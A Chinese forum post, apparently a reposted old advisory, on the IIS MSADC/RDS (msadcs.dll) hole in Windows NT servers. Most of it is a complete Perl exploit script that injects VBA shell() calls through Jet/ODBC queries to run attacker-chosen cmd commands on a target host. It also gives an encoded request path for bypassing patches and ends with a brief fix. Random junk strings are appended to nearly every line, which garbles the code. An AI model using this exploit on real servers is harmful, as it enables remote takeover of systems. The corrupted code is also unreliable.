社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167791阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) D4Al3fe  
}v9\F-0>Q  
涉及程序: @`opDu!  
Microsoft NT server C?ib_K*  
g]c[O*NTL  
描述: {Gq*e/  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限  VGHWNMT  
bzDIhnw  
详细: Ji1Pz)fq  
如果你没有时间读详细内容的话,就删除: v2r&('pV  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }8|[;Qa`y  
有关的安全问题就没有了。 (&|_quP7O  
D4eTTfQ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 pLa[}=  
/-bF$)vN  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 fDE%R={!n5  
关于利用ODBC远程漏洞的描述,请参看: ]5~s "fnG  
|Fm6#1A@  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :@W.K5  
 ~>O)  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Djk C  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp :j|IP)-f  
|@,|F:h<M  
这里不再论述。 UYk>'\%H0  
`Y-|H;z  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: MuoF FvAA  
8[r9HC  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset O#wpbrJ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! .=m,hu~  
Wg{k$T_>  
M(#m0x B  
#将下面这段保存为txt文件,然后: "perl -x 文件名" h)~=Dm  
DeR='7n  
#!perl ]E  =Iu  
# K{n{KB&_&  
# MSADC/RDS 'usage' (aka exploit) script %r&-gWTQ,  
# p!]6ll^  
# by rain.forest.puppy s9dO,FMs0t  
# LjL[V'JL  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ^F?&|clM/  
# beta test and find errors! b jAnaya  
pg]BsJN  
use Socket; use Getopt::Std; rc+C?)S  
getopts("e:vd:h:XR", \%args); l3N I$Z u  
3=-4%%[M@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; *[=bR>  
I`z@2Z+pJ  
if (!defined $args{h} && !defined $args{R}) { e><5Pr)  
print qq~ s1|/S\   
Usage: msadc.pl -h <host> { -d <delay> -X -v } .NtbL./=|  
-h <host> = host you want to scan (ip or domain) *6xgctk  
-d <seconds> = delay between calls, default 1 second 6} FO[  
-X = dump Index Server path table, if available pP(XIC  
-v = verbose olLfko4$*V  
-e = external dictionary file for step 5 :xKcpY[{  
]|<w\\^A  
Or a -R will resume a command session cb5,P~/q  
4v[~r1!V  
~; exit;} CK, 6ytB  
eNiaM6(J  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; -W,}rcj*|  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} N'xSG`,Mg  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} wP"dZagpj  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ; S xFp  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} czlFr|O;  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } sg E-`#  
8w({\=  
if (!defined $args{R}){ $ret = &has_msadc; =@F&o4)r  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} AkOO )0  
m7T)m0  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" {BHI1Uw  
. "cmd /c "; qY 4#V k  
$in=<STDIN>; chomp $in; *%KKNT'*  
$command="cmd /c " . $in ; /c):}PJ^#7  
|lv|!]qAma  
if (defined $args{R}) {&load; exit;} 0a"igq9t  
u.rY#cS,-R  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; r,_?F7  
&try_btcustmr; ] }f9JNf$  
wgd/(8d  
print "\nStep 2: Trying to make our own DSN..."; vFEQ7 qI  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";  @3kKJ  
%v2R.?F8  
print "\nStep 3: Trying known DSNs..."; JI vo_7{  
&known_dsn; BC'llD  
JmEj{K<3I  
print "\nStep 4: Trying known .mdbs..."; _#vrb;.+  
&known_mdb; +MmHu6"1  
ZoArQ(YFy  
if (defined $args{e}){ O#Wh TDF"  
print "\nStep 5: Trying dictionary of DSN names..."; C!7>1I~5  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ~)(\6^&=|  
| [ >UH  
print "Sorry Charley...maybe next time?\n"; }<'5 z qS  
exit; Mfv1Os:ST  
KF4PJi;*  
############################################################################## U!Ek'  
;NRF=d>  
sub sendraw { # ripped and modded from whisker c&L"N!4z  
sleep($delay); # it's a DoS on the server! At least on mine... "1, pHR-+R  
my ($pstr)=@_; *}8t{ F@k  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @Vu(XG  
die("Socket problems\n"); %Z*sU/^  
if(connect(S,pack "SnA4x8",2,80,$target)){ O(_[ayE  
select(S); $|=1; t]X w{)T  
print $pstr; my @in=<S>; Uk\Id ~xLV  
select(STDOUT); close(S); $[yFsA6  
return @in; V%Sy"IG  
} else { die("Can't connect...\n"); }} ^i:B+ rl  
V <bd;m  
############################################################################## 0:b2(^]bg  
NssELMtF!g  
sub make_header { # make the HTTP request +k`!QM>e-  
my $msadc=<<EOT /@|/^vld  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Onwp-!!.  
User-Agent: ACTIVEDATA 8n>9;D5n  
Host: $ip gy nh#&r  
Content-Length: $clen 2+X\}s1vN  
Connection: Keep-Alive -I=l8m6L  
"Y\_TtY  
ADCClientVersion:01.06 jRL<JZ1N  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 i'\T R|qd  
HbW0wuI  
--!ADM!ROX!YOUR!WORLD! >KJ+-QuO&  
Content-Type: application/x-varg A,4fEmWM  
Content-Length: $reqlen M|R b&6O  
ttu&@ =  
EOT 4R\ Hpt  
; $msadc=~s/\n/\r\n/g; 1/"WD?a  
return $msadc;} `]W| 8M  
&?(?vDFfZ  
############################################################################## J_;o|gqX  
)P+7PhE{J  
sub make_req { # make the RDS request C 9t4#"  
my ($switch, $p1, $p2)=@_; k1!@^A  
my $req=""; my $t1, $t2, $query, $dsn; z[;z>8|c  
G["c\Xux  
if ($switch==1){ # this is the btcustmr.mdb query `*shF9.\C  
$query="Select * from Customers where City=" . make_shell(); !@v7Zu43,  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ~sXcnxLz  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} V 0rZz  
VX1-JxY  
elsif ($switch==2){ # this is general make table query v;ZA 4c  
$query="create table AZZ (B int, C varchar(10))"; \o^2y.q:>  
$dsn="$p1";} y~\oTJb  
sQ\8>[]   
elsif ($switch==3){ # this is general exploit table query q7E~+p(>(  
$query="select * from AZZ where C=" . make_shell(); GmP@;[H"  
$dsn="$p1";} ){b@}13cF  
OtNd,U.dE  
elsif ($switch==4){ # attempt to hork file info from index server U-3i  
$query="select path from scope()"; J_4!2v!6e  
$dsn="Provider=MSIDXS;";} >=-(UA  
<q@a~'Ai?!  
elsif ($switch==5){ # bad query  v%iflCK  
$query="select"; KGFv"u{  
$dsn="$p1";} eYvWZJa4  
sjV!5Z  
$t1= make_unicode($query); Sb82}$sO  
$t2= make_unicode($dsn); _BP&n  
$req = "\x02\x00\x03\x00"; ] @u6HH~^  
$req.= "\x08\x00" . pack ("S1", length($t1)); bXNk%W[n  
$req.= "\x00\x00" . $t1 ; )z28=%g  
$req.= "\x08\x00" . pack ("S1", length($t2)); VB*oGG  
$req.= "\x00\x00" . $t2 ; =UfsL%  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; {fjdr  
return $req;} r<d_[?1N  
Ev}C<zk*  
############################################################################## V: TM]  
WL"^>[Vq  
sub make_shell { # this makes the shell() statement ybKWOp:O  
return "'|shell(\"$command\")|'";} @pRlxkvV  
", KCCis  
############################################################################## m3/O.DY%0  
M]2]\km  
sub make_unicode { # quick little function to convert to unicode (bH`x]h#  
my ($in)=@_; my $out; <"my^  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ]z/8KL  
return $out;} N@Uy=?)ZJ  
2so!  
############################################################################## _ =VqrK7T  
P 'od`  
sub rdo_success { # checks for RDO return success (this is kludge) ^Xq 6:  
my (@in) = @_; my $base=content_start(@in); x#xFh0CA  
if($in[$base]=~/multipart\/mixed/){ HOJs[mqB%  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} (<xfCH F5  
return 0;} lHPd"3HDK  
FWG6uKv  
############################################################################## NRIG1v>  
0vD7v  
sub make_dsn { # this makes a DSN for us OX?\<),  
my @drives=("c","d","e","f"); VKG&Y_7N  
print "\nMaking DSN: "; '6cWS'9"  
foreach $drive (@drives) { >\P@^ h]  
print "$drive: "; #(N+(():  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . I%j|D#qY:T  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" L>aLqQ3  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); yDegcAn?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; qh|_W(`y  
return 0 if $2 eq "404"; # not found/doesn't exist Rnr(g;2  
if($2 eq "200") { fPR1f~r  
foreach $line (@results) { PGhY>$q>b  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} uXJ;A *  
} return 0;} *U,@q4  
2a`o &S  
############################################################################## "!ug_'VW  
v4`"1Ss,K  
sub verify_exists { Mb|a+,:>3  
my ($page)=@_; Mh:L$f0A%O  
my @results=sendraw("GET $page HTTP/1.0\n\n"); T?tgd J  
return $results[0];} !Sh&3uy_qN  
Cz\e w B  
############################################################################## * K D I}B>  
7vrl'^1  
sub try_btcustmr { j<V Fn~*_  
my @drives=("c","d","e","f"); Q  Nh|Wz  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5HkKurab  
QkEvw<  
foreach $dir (@dirs) { e,vvzs o  
print "$dir -> "; # fun status so you can see progress %et } A93  
foreach $drive (@drives) { bpJ(XN}E  
print "$drive: "; # ditto )_syZ1j  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4:$4u@   
$reqlenlen=length( "$reqlen" ); eg\v0Y!rI  
$clen= 206 + $reqlenlen + $reqlen; G'Q-An%z  
}Gz~nf%  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); lT(WD}OS  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Z_};|B}  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} :dl]h&C^  
"7'J &^|  
############################################################################## ZkRx1S"m  
GK )?YM  
sub odbc_error { +%T\`6  
my (@in)=@_; my $base; : UGZ+  
my $base = content_start(@in); n$x c];j  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this [R(`W#W  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p Dx1z|@z  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; OE_XCZ!5P  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; z1PBMSG  
return $in[$base+4].$in[$base+5].$in[$base+6];} Se :.4<  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |oH,   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . qON|4+~u%  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} s @&`f{  
kO.%9wFbz  
############################################################################## AK,J7  
b#uL?f  
sub verbose { Bn=by{i  
my ($in)=@_; nt 81Bk=  
return if !$verbose; ][gq#Vx@  
print STDOUT "\n$in\n";} 3KR d  
hm84Aq= f  
############################################################################## |{BIHgMh  
.*@;@06?  
sub save {  8{wwd:6  
my ($p1, $p2, $p3, $p4)=@_; w k(VR  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; /f:dv?!km  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Q8:Has  
close OUT;} R0P iv:  
9_q#W'/X  
############################################################################## =e/9&993  
w j*,U~syB  
sub load { A;;fACF8e  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; r@72|:,  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); *rM^;4Zt  
@p=<IN>; close(IN); WK ts[Z  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); s`M9    
$target= inet_aton($ip) || die("inet_aton problems"); p#01gB  
print "Resuming to $ip ..."; ~ZmN44?R  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; #X%~B'  
if($p[1]==1) { j#X.KM   
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 6_J$UBT  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; fV &KM*W*@  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); @)UZ@ ~R  
if (rdo_success(@results)){print "Success!\n";} RHaI~jb  
else { print "failed\n"; verbose(odbc_error(@results));}} WQ~;;.v#  
elsif ($p[1]==3){ %7"q"A r[  
if(run_query("$p[3]")){ mPOGidxix  
print "Success!\n";} else { print "failed\n"; }} > A Khf  
elsif ($p[1]==4){ Qi ua  
if(run_query($drvst . "$p[3]")){ u8gS< \  
print "Success!\n"; } else { print "failed\n"; }} W^0w  
exit;} ujDd1Bxf?  
0C =3dnp6  
############################################################################## Q}1 R5@7  
4H,`]B8(D  
sub create_table { -d~4A  
my ($in)=@_; 6DM$g=/ '  
$reqlen=length( make_req(2,$in,"") ) - 28; xAqb\|$^  
$reqlenlen=length( "$reqlen" ); vL|SY_:4  
$clen= 206 + $reqlenlen + $reqlen; n)L*  
my @results=sendraw(make_header() . make_req(2,$in,"")); DNOueU  
return 1 if rdo_success(@results); Z,RzN5eN  
my $temp= odbc_error(@results); verbose($temp); C\3y {s  
return 1 if $temp=~/Table 'AZZ' already exists/; {v=T [D  
return 0;} oo,uO;0G  
yyoqX"v[  
############################################################################## ~rlB'8j(  
'[U8}z3  
sub known_dsn { dq7x3v^"ZG  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go !2 LCLN\  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ~c8? >oN(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", z{[xze-f  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); hhSy0  
%u`8minCt  
foreach $dSn (@dsns) { !$DIc  
print "."; 8;z6=.4xtg  
next if (!is_access("DSN=$dSn")); b^ L \>3  
if(create_table("DSN=$dSn")){ _]04lGx27  
print "$dSn successful\n"; ,/YF-L$(t  
if(run_query("DSN=$dSn")){ ~hZ"2$(0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { INcg S MM  
print "Something's borked. Use verbose next time\n";}}} print "\n";} x1Lb*3Fe  
VOKZ dC-  
############################################################################## aY3^C q(r  
`k OD[*  
sub is_access { Yb:\a/ y  
my ($in)=@_; @_U;9)  
$reqlen=length( make_req(5,$in,"") ) - 28; WxW7qt  
$reqlenlen=length( "$reqlen" ); D Gr> 2  
$clen= 206 + $reqlenlen + $reqlen; @WJg WJm  
my @results=sendraw(make_header() . make_req(5,$in,"")); B,M(@5wz  
my $temp= odbc_error(@results); ^cV;~&|.Xk  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); %F\?R[^5  
return 0;} pR `>b 3  
I{ HN67O  
############################################################################## ^sa#8^,K  
Kpb#K[(]&  
sub run_query { anIAM  
my ($in)=@_; ) u3 Zm  
$reqlen=length( make_req(3,$in,"") ) - 28; =NOH:#iQ  
$reqlenlen=length( "$reqlen" ); pV.Av  
$clen= 206 + $reqlenlen + $reqlen; k:*S&$S!E  
my @results=sendraw(make_header() . make_req(3,$in,"")); KQacoUHrK?  
return 1 if rdo_success(@results); y(Y!?X I  
my $temp= odbc_error(@results); verbose($temp); Lk~ho?^`  
return 0;} D-8O+.@  
#6ri-n  
############################################################################## .}'qUPNR  
MG[o%I96  
sub known_mdb { aD=a,  
my @drives=("c","d","e","f","g"); EPS={w$'s  
my @dirs=("winnt","winnt35","winnt351","win","windows"); -cZDG t  
my $dir, $drive, $mdb; 5Ycco,x  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~ (x;5{  
|o,8V p  
# this is sparse, because I don't know of many bSsh^Z  
my @sysmdbs=( "\\catroot\\icatalog.mdb", t>1Z\lE\"  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", u@~JiiC%  
"\\system32\\certmdb.mdb", ?g?L3vRK  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ;FBUwR}  
K3m]%m2\  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", uIcn{RZ_z  
"\\cfusion\\cfapps\\forums\\forums_.mdb", uvtF_P/  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", )_mr! z(S  
"\\cfusion\\cfapps\\security\\realm_.mdb", /TZOJE(2j  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", m<{< s T  
"\\cfusion\\database\\cfexamples.mdb", 8CnRi  
"\\cfusion\\database\\cfsnippets.mdb", 8#(Q_  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", =:DaS`~V  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", M%1}/!J3  
"\\cfusion\\brighttiger\\database\\cleam.mdb", BDVHol*g  
"\\cfusion\\database\\smpolicy.mdb", I?"q/Ub~h  
"\\cfusion\\database\cypress.mdb", Gqcq,_?gt  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 4D[ '^q  
"\\website\\cgi-win\\dbsample.mdb", (WK&^,zQn  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 6:q"l\n>  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" xZ|Y ?R5m  
); #these are just vJ\pR~?  
foreach $drive (@drives) { e?_@aa9~@{  
foreach $dir (@dirs){ r`AuvwHPs[  
foreach $mdb (@sysmdbs) { GDu~d<RH  
print "."; RY c!~Wh~Y  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ <@}I0  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ?shIj;c[  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ [[>wB[w  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ta`N8vnf  
} else { print "Something's borked. Use verbose next time\n"; }}}}} bx]N>k J  
F#5B<I  
foreach $drive (@drives) { xEf'Bmebk  
foreach $mdb (@mdbs) { 0$7s^?G0  
print "."; mjWU0Gh%*  
if(create_table($drv . $drive . $dir . $mdb)){ 66.5QD0  
print "\n" . $drive . $dir . $mdb . " successful\n"; G 16!eDMt  
if(run_query($drv . $drive . $dir . $mdb)){ N@O8\oQG  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; w QNxL5B  
} else { print "Something's borked. Use verbose next time\n"; }}}} @;<ht c  
} M9y <t'  
(T!9SU  
############################################################################## ~><^'j[  
Ku\Y'ub  
sub hork_idx { SfJ./ny  
print "\nAttempting to dump Index Server tables...\n"; NZ/yBOD(  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Z^]|o<.<I  
$reqlen=length( make_req(4,"","") ) - 28; wY~&Q}U  
$reqlenlen=length( "$reqlen" ); zX0md x<|<  
$clen= 206 + $reqlenlen + $reqlen; UB 6mqjPK  
my @results=sendraw2(make_header() . make_req(4,"","")); n| b5? 3  
if (rdo_success(@results)){ H^.IY_I`U*  
my $max=@results; my $c; my %d; 4hAl-8~Q6  
for($c=19; $c<$max; $c++){ K_2|_MLlZ  
$results[$c]=~s/\x00//g; /ODXV`3QYI  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 2RN)<\P  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; u0#}9UKQ  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; SB5&A_tr  
$d{"$1$2"}="";} xdf82)  
foreach $c (keys %d){ print "$c\n"; } _~rI+lA  
} else {print "Index server doesn't seem to be installed.\n"; }} X66VU  
Tszp3,]f  
############################################################################## 0pJ ":Q/2)  
v.:3"<ur}  
sub dsn_dict { %H]lGN)  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); (tCUlX2  
while(<IN>){ /v/C<]  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; /[6j)HIS  
next if (!is_access("DSN=$dSn")); 7UL qo>j  
if(create_table("DSN=$dSn")){ 05snuNt]-  
print "$dSn successful\n"; W -  
if(run_query("DSN=$dSn")){ `5~ +,/Ys  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { zGc: @z  
print "Something's borked. Use verbose next time\n";}}}  qNm$Fx  
print "\n"; close(IN);} u`olW%C/T  
!2z?YZhu  
############################################################################## 'yV?*a  
 ;b`[&g  
sub sendraw2 { # ripped and modded from whisker #7ov#_2Jd  
sleep($delay); # it's a DoS on the server! At least on mine... @#P,d5^G  
my ($pstr)=@_; Pl<; [cB  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rQEyD  
die("Socket problems\n"); e]T`ot#/  
if(connect(S,pack "SnA4x8",2,80,$target)){ _>=L>*  
print "Connected. Getting data"; fm(e3]  
open(OUT,">raw.out"); my @in; z81esXl  
select(S); $|=1; print $pstr; 9 _QP!,  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} j:}DBk  
close(OUT); select(STDOUT); close(S); return @in; O/.Uh`T`6  
} else { die("Can't connect...\n"); }} m$9w"8R  
M.nvB)  
############################################################################## h.!}3\Y  
DhX#E&  
sub content_start { # this will take in the server headers >@ YtDl8R  
my (@in)=@_; my $c; -F=v6N{  
for ($c=1;$c<500;$c++) { $t5 V=}m>  
if($in[$c] =~/^\x0d\x0a/){ TLd`1Ac  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } @"Z7nJX  
else { return $c+1; }}} `xz<>g9e  
return -1;} # it should never get here actually ?6nF~9Z'  
w~#nYM=fP!  
##############################################################################  Ug:\  
d/}SAvtt  
sub funky { ATy*^sc&"  
my (@in)=@_; my $error=odbc_error(@in); 0W3i()  
if($error=~/ADO could not find the specified provider/){ 'S[++w?Qq  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; l^d[EL+  
exit;} %?aS#4jI  
if($error=~/A Handler is required/){ 2o#,kGd  
print "\nServer has custom handler filters (they most likely are patched)\n"; S,U Pl}KF  
exit;} }gkM^*$:%  
if($error=~/specified Handler has denied Access/){ TRZRYm"  
print "\nServer has custom handler filters (they most likely are patched)\n"; pDQ}*   
exit;}} U xD5eJJ  
VdP`a(Yd;  
############################################################################## +525{Tj  
'|7Woxl9  
sub has_msadc { lNv".Y=l  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); >HPdzLY?  
my $base=content_start(@results); j F-v% ?  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); BS&;n  
return 0;} +n})Y  
( Y+N@d  
######################## m=Q[\.Ra  
s/:Fwr4q#a  
_/S?#   
解决方案: v`V7OD#:j]  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Y%|@R3[Nk  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 j#0j)k2Q  
&x-TW,#Ks  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八